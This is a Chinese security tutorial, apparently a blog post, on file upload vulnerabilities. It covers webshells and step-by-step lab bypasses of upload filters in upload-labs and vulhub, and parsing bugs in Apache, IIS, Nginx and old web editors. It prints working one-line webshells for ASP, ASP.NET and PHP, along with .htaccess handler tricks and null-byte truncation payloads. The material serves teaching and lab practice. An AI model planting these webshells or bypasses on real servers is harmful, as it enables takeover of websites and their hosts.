文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞

文件上传漏洞

漏洞概述

文件上传是web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web 用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

漏洞成因

  • 一方面服务器配置不当会导致任意文件上传;
  • 另一方面,web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
  • 再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。

漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。
如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。

通过上传漏洞获得的网站后门,就是webShell。

WebShell

在计算机科学中,Shell俗称壳(用来区别于“核"),是指“为使用者提供操作界面"的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下的bash 等,虽然这些系统上的命令解释器不止一种。

WebShell 是一个网站的后门,也是一个命令解释器,不过是以web 方式(HTTP协议)通信(传递命令消息),继承了Web用户的权限。

WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等,也就是说WebShell接收来自于web用户的命令,然后在服务器端执行。

大马

有一类WebShell之所以叫大马,是因为要与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。
同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。

小马

小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。
ASP:<%eval request("cmd")%>
ASP.NET:<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
PHP:<?php @eval($_REQUEST["cmd"])?>

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php的一句话木马,密码就是[cmd]。
在这里插入图片描述

中国蚁剑与一句话木马配合实现了三大基本功能,如下:

  • 文件管理
    在这里插入图片描述
  • 虚拟终端
    在这里插入图片描述
  • 数据库管理
    首先得连接数据库
    在这里插入图片描述
    然后就可以执行SQL语句 ,管理数据库了
    在这里插入图片描述

GetShell

就是获取WebShell 的过程和结果,当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

漏洞利用的条件

  1. Web 服务器要开启文件上传功能,并且上传api(接口)对外"开放”(web 用户可以访问)
  2. Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限。
  3. 要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
  4. 无视以上条件的情况就是服务器配置不当,开启了PUT方法。

PUT方法上传文件

HTTP 请求方法之一,允许向服务器直接写入文件

Apache 开启PUT方法:

  • 测试Apache 是否开启了put方法
    使用telnet进行测试:telnet ip port,打开回显ctrl+],回车输入图片所示内容
    在这里插入图片描述

  • Apache 开启put方法操作

    • 打开httpd.conf文件
      开启图中所示模块:
      在这里插入图片描述
      启用模块:
      在这里插入图片描述
      开启文件锁:
      在这里插入图片描述
      按照路径创建DavLock文件
      在这里插入图片描述
      重启Apache服务
  • 写入文件并查看
    在这里插入图片描述

漏洞的防御、绕过和利用

文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。

黑白名单策略

黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体"在黑名单中,一律“禁止”,如果“客体"在白名单中,一律“允许”。类似于手机号码的黑白名单。
如:Chrome浏览器的黑白名单策略。

策略说明
URLBlackList1.禁止用户访问您已阻止的网址。不过,用户可以访问黑名单之外的所有网址。2.不设置此政策:用户将可以自由访问所有网址。
URLWhiteList1.将此政策与URLBlacklist政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。2.白名单的优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此政策。3.不设置此政策:网址黑名单将没有例外网址。

安装upload-labs

github项目地址:https://github.com/c0ny1/upload-labs

  • 环境要求:
    操作系统: windows、Linux
    php版本:推荐5.2.17(其它版本可能会导致部分Pass无法突破)
    php组件: php_gd2,php_exif (部分Pass需要开启这两个扩展)
    apache:以moudel方式连接

将下载好的安装包解压到web根目录就可以访问了!(不建议使用)
在这里插入图片描述
建议直接下载配套的phpstudy环境(压缩包里自带phpstudy),不容易出现问题,要是直接将漏洞库拖到现在的phpstudy的web根目录下,再更改php版本,下面好几个实验会出现问题(踩坑了)

前端限制与绕过

有些web 应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。
upload-labs第一关为例:

发现不允许上传:
在这里插入图片描述
进行代码审计:
在这里插入图片描述
前端JS脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。

方法一:修改js代码,直接打开控制台将调用这个函数的事件删掉(在Chrome浏览器失败,在360浏览器成功)
在这里插入图片描述
在这里插入图片描述
打开查看:
在这里插入图片描述
方法二:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可。

在这里插入图片描述
在这里插入图片描述
转发之后发现上传成功:
在这里插入图片描述
打开查看
在这里插入图片描述
对于文件上传,只从web 前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,检测如下内容。

服务器端检测—MIME类型

MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型(根据浏览器不同会变)如下:

文件扩展名Mime-Type
.jsapplication/x-javascript
.htmltext/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf

在HTTP 协议中,使用Content-Type 字段表示文件的MIME类型。

在服务器端会检测Content-Type类型,Pass2为例:

方法:上传php文件,使用BP抓包,更改Content-Type类型
在这里插入图片描述
上传成功
在这里插入图片描述
由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。

服务端检测—文件内容

除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。
PHP中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。

Pass14为例:
在这里插入图片描述

对于文件内容检测,可以通过制作图片木马绕过。

制作图片木马
  1. 文件幻术
    所有各类图片文件的头部都是相同的,getimagesize()无法识别文件幻术生成的文件。
    png:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
    jpg:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
    gif:47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
    以上十六进制数字在用的时候转换为ASCII码加在文件头部即可
    gif还可以直接在头部加GIF89a
    在这里插入图片描述
    上传,成功:
    在这里插入图片描述
    使用文件包含漏洞打开我们上传的文件:
    点击文件包含漏洞会跳转到含有这个漏洞的页面,我们就在这里进行测试我们上传的图片木马
    在这里插入图片描述
    传入参数:注意文件路径
    在这里插入图片描述
    在这里插入图片描述

  2. 命令行方法:通过命令将图片和木马文件合二为一
    在这里插入图片描述
    在这里插入图片描述
    上传,成功:成功之后会自动重命名
    在这里插入图片描述
    注意:这里我把它合并为png图片,但是好像由于它本来是jpg图片,所以传过去还是jpg图片
    图片木马上传成功之后还得使用文件包含漏洞来打开:
    在这里插入图片描述
    运行我们上传的图片木马:
    在这里插入图片描述

服务端检测—后缀名

服务器端还会检测文件后缀名。
服务器端在检测文件名的时候,依然会采用黑白名单策略。

黑名单策略:不允许上传 .php | .asp | .aspx | .jsp…等可执行脚本的文件;
白名单策略:只允许上传 .jpg | .gif | .png | .doc | .rar…等格式的文件。

绕过方式:
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。可以执行脚本后缀名

.php .php3 .phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx

在这里插入图片描述
在这里插入图片描述

对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。
需要配合其他漏洞来绕过

00截断

00 就是Null(空)字符,URL中表现为%00,十六进制0x00,00 截断会导致文件上传路径截断。
我们以Pass12为例:get请求的00截断
这个漏洞必须:php 版本 < 5.3.4且php的参数magic_quotes_gpc必须关闭
在这里插入图片描述

在这里插入图片描述
使用BP抓包:

直接发送,发现报错在这里插入图片描述
更改后缀名之后继续发送,发现成功且路径在我们的get请求中
在这里插入图片描述
尝试更改路径再次提交,发现上传出错,根据代码审计发现是move_uploaded_file()函数这块出了问题,猜测是保存文件的路径出错
在这里插入图片描述
这时候我们给一个文件的名字看能否成功,发现还是不成功,盲猜是将我们传递的文件名当作路径了,结果没有发现这个路径
在这里插入图片描述
这时候我们做一个00截断来尝试,发现上传成功
因为上传的表单中有一个enctype的属性,并且需要enctype=“multipart/form-data” (不对表单中数据进行编码),path大多数都是存放在表单中的,因此需要在数据包中进行url decode操作使%00变成字符串结束符号。
在这里插入图片描述
尝试访问:
在这里插入图片描述

原理:由于文件系统函数底层使用c语言来实现的,继承了c的特性:定义字符串的时候不知道字符串在哪结束,所以需要空字符来帮助判断字符串的结尾,那么这个move_uploaded_file()函数在执行的时候读取上传文件的路径时,本来后面还有要拼接的东西,但因为我们用空字符截断了,所以他认为读取完毕,然后就发生了00截断!

Pass13:post请求的00截断

先抓包,然后更改文件上传路径,这里有点不一样,写一个加号+作为标记
在这里插入图片描述
打开十六进制表,找到+号对应的十六进制码2b
在这里插入图片描述
更改2b为00做00截断
在这里插入图片描述
再转发
在这里插入图片描述
复制链接查看
在这里插入图片描述

.htaccess 攻击

.htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。

如果一个web应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险。.htaccess攻击想象空间非常大。

首先看Apache 允许.htaccess文件覆盖掉Apache 的配置开关:
在这里插入图片描述

将.png文件当作PHP文件解析

我们可以修改配置文件之后,就可以设置apache的配置文件.htaccess

将以下代码写入文件,并保存成.htaccess , 放到测试目录下
AddType application/x-httpd-php .png
在同一目录下创建一个文件 info. png,文件内容如下

<?php
phpinfo();
?>

在这里插入图片描述

当我们访问该文件时,info.png内的PHP 代码将会被执行。

在这里插入图片描述

文件名中包含php关键字

当文件名 info.php.png 中包含关键字 .php,并且 .htaccess 文件内容如下:AddHandler php5-script php,info.php.png 中的代码会被执行。

在这里插入图片描述
在这里插入图片描述

匹配文件名

以下配置是匹配文件名 haha,会执行其中的PHP代码

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
在这里插入图片描述
接下来我们用Pass4来演示一下:
删掉里面原来的文件
在这里插入图片描述

先上传.htaccess文件,再上传haha文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Web容器解析漏洞

Web容器解析漏洞,就是Web容器在解析脚本时出现的“Bug”。

Apache 解析漏洞

古老的版本才会有,新版本中已经被修复!

上传info.php.xxx.xx.x文件,发现可以被解析成功!

apache服务器解析文件时找后缀名的时候是从后往前进行的,遇见一个x不认识,会继续往前知道发现php就会将它当作php文件来解析
在这里插入图片描述

IIS6.0 解析漏洞

win2003里的版本就是6.0的,可以在里面搭建环境。创建网站后记得勾选支持asp
在这里插入图片描述

  • 文件名:time.asp;1.jpg 内容如下,会被IIS解析为asp文件执行
<%=time()%>

在这里插入图片描述
点击访问
在这里插入图片描述

  • a.asp/1.jpg
    创建一个文件夹a.asp,在里面创建一个1.jpg文件,内容如上

在这里插入图片描述
点击访问,成功执行
在这里插入图片描述

PHP CGI解析漏洞

配置文件的问题:这个值等于1,改为0就没有这俩漏洞了
在这里插入图片描述

IIS7.0/7.5+PHP 环境

搭建环境 :win2008+php
PHP环境借用phpstudy中的PHP环境:php-5.4.45

IIS搭建成功:在这里插入图片描述
让IIS支持php:
在这里插入图片描述
在这里插入图片描述
这样IIS就支持php了

我们在web根目录下创建一个info.png文件,内容写上<?php phpinfo();?>,访问:
在这里插入图片描述
在这里插入图片描述用在url后面加上/.php就可以解析了
在这里插入图片描述
要想避免这个漏洞,我们就需要更改一下配置就行了
在这里插入图片描述
再次访问:
在这里插入图片描述
要是实验不成功的,可能是配置文件时区的问题,将php.ini中的时区改为Asia/shanghai 应该就可以了

Nginx +PHP 环境(Nginx解析漏洞)

vulhub上有这个漏洞环境,我们直接使用它来一键搭建环境:
在这里插入图片描述
然后访问:http://your-ip/uploadfiles/nginx.png
在这里插入图片描述
然后使用:nginx.png/.php来查看,发现解析成功
在这里插入图片描述

Nginx 文件名逻辑漏洞(CVE-2013-4547)

使用vulhub一键搭建环境:
在这里插入图片描述
在这里插入图片描述
然后访问:http://your-ip:8080/,发现一个上传页面
在这里插入图片描述
这个环境是黑名单验证,无法上传.php文件,我们上传文件时使用BP抓包
在这里插入图片描述
我们更改后缀名为.png+空格,进行上传:
在这里插入图片描述

上传成功之后复制url进入repeater模块:
在这里插入图片描述
在请求路径后面加上空格..php
在这里插入图片描述

打开十六进制模块,将第一个点改为00进行截断
在这里插入图片描述

然后转发,进入render模块发现解析成功
在这里插入图片描述

常见编辑器上传漏洞

编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。

ewebeditor

先安装环境:
源码之家https://www.mycodes.net/106/1252.htm下载源码
之后将解压后的目录拖动到IIS web根目录下
在这里插入图片描述
搭建好环境之后,进行后台访问[admin/admin]:http://ip/eWebEditor_280_Free_Final/admin_login.asp
在这里插入图片描述
点击样式管理:
在这里插入图片描述
点击设置:
在这里插入图片描述
更改之后就可以上传asp木马来控制网站了

fckeditor

使用良精企业网站管理系统asp版作为靶场,源码百度一大堆,这里就不放了
将下载好的源码使用IIS进行网站发布:
在这里插入图片描述
进入后台管理界面:
在这里插入图片描述
登录:
在这里插入图片描述
添加企业信息,可以看到fckeditor编辑器:
在这里插入图片描述
点击图片按钮可以上传图片:
在这里插入图片描述

在这里插入图片描述
打开资源管理器,就可以上传文件了
在这里插入图片描述
我们选择上传一个asp的大马,使用BP抓包:
在这里插入图片描述
我们将文件格式更改为.jpg格式:
在这里插入图片描述
复制url查看文件:
在这里插入图片描述
这时候我们发现对方的IIS是6.0版本的,看是否含有解析漏洞:
在这里插入图片描述
发现上面这种方法不行,我们可以尝试另外一种方法:
首先创建一个文件夹:
在这里插入图片描述
在这里插入图片描述
我们创建一个文件夹抓包分析一下:
在这里插入图片描述
在这里插入图片描述
发现文件夹创建成功:
在这里插入图片描述
在这里插入图片描述
我们再往创建好的a.asp文件夹中上传我们的木马文件:
在这里插入图片描述
上传成功:
在这里插入图片描述
这时候就可以利用IIS6.0解析漏洞来执行我们的木马了:
在这里插入图片描述
在这里插入图片描述
这时候我们可以上传一个小马来拉大马一把~
在这里插入图片描述
上传成功:
在这里插入图片描述
进行访问:
在这里插入图片描述
我们复制url使用蚁剑来连接小马:
在这里插入图片描述
发现不能上传文件,用菜刀来试试:
在这里插入图片描述
我们再来访问一下上传的大马:
在这里插入图片描述
登录成功:就可以为所欲为了
在这里插入图片描述

变量覆盖漏洞:原因是使用了$$定义变量

<?php
$name = "hahaha";
foreach($_GET as $key=>$value){
 $$key = $value;
}
var_dump($name);
?>

如果我正常访问这个页面:
在这里插入图片描述
我们如果输入自定义的参数name:
在这里插入图片描述
这样就会造成变量覆盖的现象,而且参数是用户可控的!

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值